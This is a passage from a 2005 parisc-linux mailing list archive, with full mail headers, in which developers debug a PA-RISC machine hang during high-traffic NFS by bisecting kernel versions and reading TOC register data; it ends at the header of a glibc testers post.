X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 16:11:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 21 Jul 2005 18:11:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 018877D60F;
	Thu, 21 Jul 2005 10:11:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10407-08; Thu, 21 Jul 2005 10:11:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75F877D62E;
	Thu, 21 Jul 2005 10:11:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AE067D722
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 10:11:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10099-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 10:11:39 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 9A57E7D725
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 10:11:39 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 0C8751707B;
	Thu, 21 Jul 2005 12:11:39 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30509-01; Thu, 21 Jul 2005 12:11:23 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 5FC1117081; Thu, 21 Jul 2005 12:11:23 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1486544029-52656d6f746546617454697265-494e424f582e4f7574626f78: 1121962244-013716081002-v4.0.10
Content-Disposition: inline
In-Reply-To: <42DF51D4.3010106@excelcia.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HKytYv98eSEker6WZHQhaXN1IGRvb0BY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22959

On Thu, Jul 21, 2005 at 01:42:12AM -0600, Kurt Fitzner wrote:
> I 'downgraded' to 2.6.8.1-pa11 as Mr. Anglin suggested and I am not able
> to reproduce the hang.  Would it be helpful if I were to identify the
> exact kernel version where the hang first begins to occur?
> 

Binary searching from 2.6.8.1-pa11 onwards would be helpful.

[Pick the middle version between 2.6.8.1 and current, if it's broken, at
 the middle of 2.6.8.1-pa11 to middle, otherwise middle to current, and
 continue until you can narrow the timeframe.]

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Thu, 21 Jul 2005 19:28:41 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200507212328.j6LNSfto010960@hiauly1.hia.nrc.ca>
References: <20050721123607.GA27978@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623861 15765 80.91.229.3 (22 Nov 2014 02:37:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 23:29:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 22 Jul 2005 01:29:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF7AB7D6E1;
	Thu, 21 Jul 2005 17:29:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12808-07; Thu, 21 Jul 2005 17:29:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 404F67D6E2;
	Thu, 21 Jul 2005 17:29:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C48727D6DF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 17:28:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12704-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 17:28:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 333D07D6DB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 17:28:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6LNSgnV010961; Thu, 21 Jul 2005 19:28:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6LNSfto010960;
	Thu, 21 Jul 2005 19:28:41 -0400 (EDT)
In-Reply-To: <20050721123607.GA27978@colo.lackof.org> from "Grant Grundler" at
	Jul 21, 2005 06:36:07 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lEqSYu9yeSEkY76WZHQhaXN1IGRvb0AQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22960

> On Thu, Jul 21, 2005 at 01:42:12AM -0600, Kurt Fitzner wrote:
> > I 'downgraded' to 2.6.8.1-pa11 as Mr. Anglin suggested and I am not able
> > to reproduce the hang.  Would it be helpful if I were to identify the
> > exact kernel version where the hang first begins to occur?
> 
> Definitely. Be warned that this can be very time consuming.
> If you can narrow the window to a major kernel release,
> that would already be very helpful. The exact -paX version
> would of course be perfect.

I know that 32-bit 2.6.10 isn't stable on my c3k.  There is a known
bug with kernel memcpy and fpregs.  Either James' fix needs to be
backported, or builds need to be done with gcc-4.0.0 (or 4.0.1) using
the -mfixed-range as discussed previously on the list.  I haven't
had time to try this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Thu, 21 Jul 2005 18:29:46 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <42E03DFA.6040808@excelcia.org>
References: <200507212328.j6LNSfto010960@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623861 15766 80.91.229.3 (22 Nov 2014 02:37:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2005 00:29:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 22 Jul 2005 02:29:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 18EB67D6B2;
	Thu, 21 Jul 2005 18:29:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13127-06; Thu, 21 Jul 2005 18:29:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12F447D6B7;
	Thu, 21 Jul 2005 18:29:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC4EE7D6AA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 18:29:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13150-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 18:29:49 -0600 (MDT)
Original-Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 338CA7D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 18:29:49 -0600 (MDT)
Original-Received: from pd5mr8so.prod.shaw.ca
	(pd5mr8so-qfe3.prod.shaw.ca [10.0.141.184]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0IK000I166POVVC0@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 21 Jul 2005 18:29:48 -0600 (MDT)
Original-Received: from pn2ml7so.prod.shaw.ca ([10.0.121.151])
	by pd5mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IK000E9I6POY8J0@pd5mr8so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 21 Jul 2005 18:29:48 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IK0009236PNHO@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 21 Jul 2005 18:29:48 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j6M0Tkdu027524	for
	<parisc-linux@lists.parisc-linux.org>; Thu, 21 Jul 2005 18:29:47 -0600
In-reply-to: <200507212328.j6LNSfto010960@hiauly1.hia.nrc.ca>
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UluSYrJXeSEkOr6WZHQhaXN1IGRvb8BP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22961

John David Anglin wrote:

> I know that 32-bit 2.6.10 isn't stable on my c3k.  There is a known
> bug with kernel memcpy and fpregs.

Well, as far as the bug I am reporting goes, so far I have narrowed it
down to a kernel later than 2.6.10-pa11 and before 2.6.11-pa4.  It
appears that whatever went into 2.6.10 isn't to blame.

It looks like the interrupt storm theory is best.  The functions I get
from the TOC data this time are:

GRO2 0x101060e0 handle_interruption+6c
IOAQ 0x101120dc handle_unaligned+2c0

I am curious, though.  This time when it hung the hearbeat didn't stop.
 Does this mean that it didn't hang as solid as the other times?  Are
interrupts still being handled at some kernel level if the heartbeat LED
is flashing normally?  If this is the case, then this means the TOC data
may be useless this time around, right?

	Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Thu, 21 Jul 2005 21:55:18 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <20050722035518.GC29339@colo.lackof.org>
References: <200507212328.j6LNSfto010960@hiauly1.hia.nrc.ca>
	<42E03DFA.6040808@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623862 15770 80.91.229.3 (22 Nov 2014 02:37:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2005 03:50:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 22 Jul 2005 05:50:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF6407D6F4;
	Thu, 21 Jul 2005 21:50:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14300-07; Thu, 21 Jul 2005 21:50:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4BE17D6F7;
	Thu, 21 Jul 2005 21:50:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA6D27D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 21:50:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14321-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 21:50:32 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 38FEC7D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 21:50:32 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 27239360064;
	Thu, 21 Jul 2005 21:55:20 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32604-04; Thu, 21 Jul 2005 21:55:18 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C8F12360055; Thu, 21 Jul 2005 21:55:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42E03DFA.6040808@excelcia.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WAiSYnRGeSEkc76WZHQhaXN1IGRvbwAa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22962

On Thu, Jul 21, 2005 at 06:29:46PM -0600, Kurt Fitzner wrote:
> John David Anglin wrote:
> 
> > I know that 32-bit 2.6.10 isn't stable on my c3k.  There is a known
> > bug with kernel memcpy and fpregs.
> 
> Well, as far as the bug I am reporting goes, so far I have narrowed it
> down to a kernel later than 2.6.10-pa11 and before 2.6.11-pa4.  It
> appears that whatever went into 2.6.10 isn't to blame.

Ok...If you were to try one more kernel, could it be 2.6.11-pa1?

> It looks like the interrupt storm theory is best.  The functions I get
> from the TOC data this time are:
> 
> GRO2 0x101060e0 handle_interruption+6c
> IOAQ 0x101120dc handle_unaligned+2c0

yes, seems like it's likely too.

> I am curious, though.  This time when it hung the hearbeat didn't stop.
>  Does this mean that it didn't hang as solid as the other times?

that would be my guess too.

> Are
> interrupts still being handled at some kernel level if the heartbeat LED
> is flashing normally?

yes

> If this is the case, then this means the TOC data
> may be useless this time around, right?

Not necessarily. The TOC data may still be useful
for register state.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tres Melton <tres@mindspring.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Testers wanted] New glibc with profiling fixed.
Date: Fri, 22 Jul 2005 06:56:34 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <1122036994.10454.131.camel@thor.tres.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623862 15775 80.91.229.3 (22 Nov 2014 02:37:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jul 2005 12:56:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 22 Jul 2005 14:56:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EFFB7D6F4;
	Fri, 22 Jul 2005 06:56:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17879-04; Fri, 22 Jul 2005 06:56:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 939E87D6F7;
	Fri, 22 Jul 2005 06:56:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8BF87D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 06:56:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17721-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 06:56:39 -0600 (MDT)
Original-Received: from pop03.mail.atl.earthlink.net (pop03.mail.atl.earthlink.net
	[207.69.200.48])
	by free.linux.hp.com (Postfix) with ESMTP id 69AEC7D6E4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Jul 2005 06:56:39 -0600 (MDT)
Original-Received: from h-68-166-178-137.dnvtco56.dynamic.covad.net ([68.166.178.137])
	by pop03.mail.atl.earthlink.net with esmtp (Exim 3.36 #10)
	id 1Dvx4u-0000cW-00
	for parisc-linux@lists.parisc-linux.org; Fri, 22 Jul 2005 08:56:36 -0400
X-Mailer: Evolution 2.2.1.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
